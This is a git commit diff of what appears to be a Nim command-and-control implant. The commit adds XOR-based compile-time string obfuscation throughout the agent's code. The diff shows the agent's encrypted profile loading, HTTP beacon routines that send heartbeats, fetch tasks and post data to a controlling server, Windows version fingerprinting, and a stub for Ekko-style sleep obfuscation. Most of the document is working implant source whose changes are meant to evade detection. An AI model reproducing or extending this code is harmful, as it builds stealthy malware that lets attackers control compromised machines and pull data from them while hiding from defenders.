Implemented compile-time string obfuscation via XOR for the agent.

This commit is contained in:
Jakob Friedl
2025-08-26 15:11:43 +02:00
parent dd7433588f
commit 8791faec3f
13 changed files with 166 additions and 232 deletions

View File

@@ -18,7 +18,7 @@ proc deserializeConfiguration(config: string): AgentCtx =
wipeKey(aesKey)
if gmac != authTag:
raise newException(CatchableError, "Invalid authentication tag.")
raise newException(CatchableError, protect("Invalid authentication tag."))
# Parse decrypted profile configuration
unpacker = Unpacker.init(Bytes.toString(decData))
@@ -37,14 +37,14 @@ proc deserializeConfiguration(config: string): AgentCtx =
wipeKey(agentKeyPair.privateKey)
echo "[+] Profile configuration deserialized."
echo protect("[+] Profile configuration deserialized.")
return ctx
proc init*(T: type AgentCtx): AgentCtx =
try:
when not defined(CONFIGURATION):
raise newException(CatchableError, "Missing agent configuration.")
raise newException(CatchableError, protect("Missing agent configuration."))
return deserializeConfiguration(CONFIGURATION)

View File

@@ -4,36 +4,36 @@ import ../../common/[types, utils, profile]
proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
let client = newAsyncHttpClient(userAgent = ctx.profile.getString("agent.user-agent"))
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("agent.user-agent")))
var heartbeatString: string
# Apply data transformation to the heartbeat bytes
case ctx.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none")
case ctx.profile.getString(protect("http-get.agent.heartbeat.encoding.type"), default = "none")
of "base64":
heartbeatString = encode(heartbeat, safe = ctx.profile.getBool("http-get.agent.heartbeat.encoding.url-safe")).replace("=", "")
heartbeatString = encode(heartbeat, safe = ctx.profile.getBool(protect("http-get.agent.heartbeat.encoding.url-safe"))).replace("=", "")
of "none":
heartbeatString = Bytes.toString(heartbeat)
# Define request headers, as defined in profile
for header, value in ctx.profile.getTable("http-get.agent.headers"):
for header, value in ctx.profile.getTable(protect("http-get.agent.headers")):
client.headers.add(header, value.getStringValue())
# Select a random endpoint to make the request to
var endpoint = ctx.profile.getString("http-get.endpoints")
var endpoint = ctx.profile.getString(protect("http-get.endpoints"))
if endpoint[0] == '/':
endpoint = endpoint[1..^1] & "?" # Add '?' for additional GET parameters
let
prefix = ctx.profile.getString("http-get.agent.heartbeat.prefix")
suffix = ctx.profile.getString("http-get.agent.heartbeat.suffix")
prefix = ctx.profile.getString(protect("http-get.agent.heartbeat.prefix"))
suffix = ctx.profile.getString(protect("http-get.agent.heartbeat.suffix"))
payload = prefix & heartbeatString & suffix
# Add heartbeat packet to the request
case ctx.profile.getString("http-get.agent.heartbeat.placement.type"):
case ctx.profile.getString(protect("http-get.agent.heartbeat.placement.type")):
of "header":
client.headers.add(ctx.profile.getString("http-get.agent.heartbeat.placement.name"), payload)
client.headers.add(ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name")), payload)
of "parameter":
let param = ctx.profile.getString("http-get.agent.heartbeat.placement.name")
let param = ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name"))
endpoint &= fmt"{param}={payload}&"
of "uri":
discard
@@ -43,7 +43,7 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
discard
# Define additional request parameters
for param, value in ctx.profile.getTable("http-get.agent.parameters"):
for param, value in ctx.profile.getTable(protect("http-get.agent.parameters")):
endpoint &= fmt"{param}={value.getStringValue()}&"
try:
@@ -56,11 +56,11 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
# In case that tasks are found, apply data transformation to server's response body to get thr raw data
let
prefix = ctx.profile.getString("http-get.server.output.prefix")
suffix = ctx.profile.getString("http-get.server.output.suffix")
prefix = ctx.profile.getString(protect("http-get.server.output.prefix"))
suffix = ctx.profile.getString(protect("http-get.server.output.suffix"))
encResponse = responseBody[len(prefix) ..^ len(suffix) + 1]
case ctx.profile.getString("http-get.server.output.encoding.type", default = "none"):
case ctx.profile.getString(protect("http-get.server.output.encoding.type"), default = "none"):
of "base64":
return decode(encResponse)
of "none":
@@ -77,18 +77,18 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
let client = newAsyncHttpClient(userAgent = ctx.profile.getString("agent.user-agent"))
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("agent.user-agent")))
# Define request headers, as defined in profile
for header, value in ctx.profile.getTable("http-post.agent.headers"):
for header, value in ctx.profile.getTable(protect("http-post.agent.headers")):
client.headers.add(header, value.getStringValue())
# Select a random endpoint to make the request to
var endpoint = ctx.profile.getString("http-post.endpoints")
var endpoint = ctx.profile.getString(protect("http-post.endpoints"))
if endpoint[0] == '/':
endpoint = endpoint[1..^1]
let requestMethod = parseEnum[HttpMethod](ctx.profile.getString("http-post.request-methods", "POST"))
let requestMethod = parseEnum[HttpMethod](ctx.profile.getString(protect("http-post.request-methods"), protect("POST")))
let body = Bytes.toString(data)

View File

@@ -0,0 +1,3 @@
import winim/lean
# Sleep obfuscation based on Ekko (by C5pider)

View File

@@ -76,7 +76,7 @@ type
SERVER = 3
# API Structs
type OSVersionInfoExW {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} = object
type OSVersionInfoExW {.importc: protect("OSVERSIONINFOEXW"), header: protect("<windows.h>").} = object
dwOSVersionInfoSize: ULONG
dwMajorVersion: ULONG
dwMinorVersion: ULONG
@@ -99,58 +99,58 @@ proc getWindowsVersion(info: OSVersionInfoExW, productType: ProductType): string
if major == 10 and minor == 0:
if productType == WORKSTATION:
if build >= 22000:
return "Windows 11"
return protect("Windows 11")
else:
return "Windows 10"
return protect("Windows 10")
else:
case build:
of 20348:
return "Windows Server 2022"
return protect("Windows Server 2022")
of 17763:
return "Windows Server 2019"
return protect("Windows Server 2019")
of 14393:
return "Windows Server 2016"
return protect("Windows Server 2016")
else:
return fmt"Windows Server 10.x (Build: {build})"
return protect("Windows Server 10.x (Build: ") & $build & protect(")")
elif major == 6:
case minor:
of 3:
if productType == WORKSTATION:
return "Windows 8.1"
return protect("Windows 8.1")
else:
return "Windows Server 2012 R2"
return protect("Windows Server 2012 R2")
of 2:
if productType == WORKSTATION:
return "Windows 8"
return protect("Windows 8")
else:
return "Windows Server 2012"
return protect("Windows Server 2012")
of 1:
if productType == WORKSTATION:
return "Windows 7"
return protect("Windows 7")
else:
return "Windows Server 2008 R2"
return protect("Windows Server 2008 R2")
of 0:
if productType == WORKSTATION:
return "Windows Vista"
return protect("Windows Vista")
else:
return "Windows Server 2008"
return protect("Windows Server 2008")
else:
discard
elif major == 5:
if minor == 2:
if productType == WORKSTATION:
return "Windows XP x64 Edition"
return protect("Windows XP x64 Edition")
else:
return "Windows Server 2003"
return protect("Windows Server 2003")
elif minor == 1:
return "Windows XP"
return protect("Windows XP")
else:
discard
return "Unknown Windows Version"
return protect("Unknown Windows Version")
proc getProductType(): ProductType =
# The product key is retrieved from the registry
@@ -162,7 +162,7 @@ proc getProductType(): ProductType =
# WinNT -> Workstation
# Using the 'registry' module, we can get the exact registry value
case getUnicodeValue("""SYSTEM\CurrentControlSet\Control\ProductOptions""", "ProductType", HKEY_LOCAL_MACHINE)
case getUnicodeValue(protect("""SYSTEM\CurrentControlSet\Control\ProductOptions"""), protect("ProductType"), HKEY_LOCAL_MACHINE)
of "WinNT":
return WORKSTATION
of "ServerNT":
@@ -173,7 +173,7 @@ proc getProductType(): ProductType =
proc getOSVersion(): string =
proc rtlGetVersion(lpVersionInformation: var OSVersionInfoExW): NTSTATUS
{.cdecl, importc: "RtlGetVersion", dynlib: "ntdll.dll".}
{.cdecl, importc: protect("RtlGetVersion"), dynlib: protect("ntdll.dll").}
when defined(windows):
var osInfo: OSVersionInfoExW
@@ -190,7 +190,7 @@ proc getOSVersion(): string =
# We instead retrieve the
return getWindowsVersion(osInfo, getProductType())
else:
return "Unknown"
return protect("Unknown")
proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData =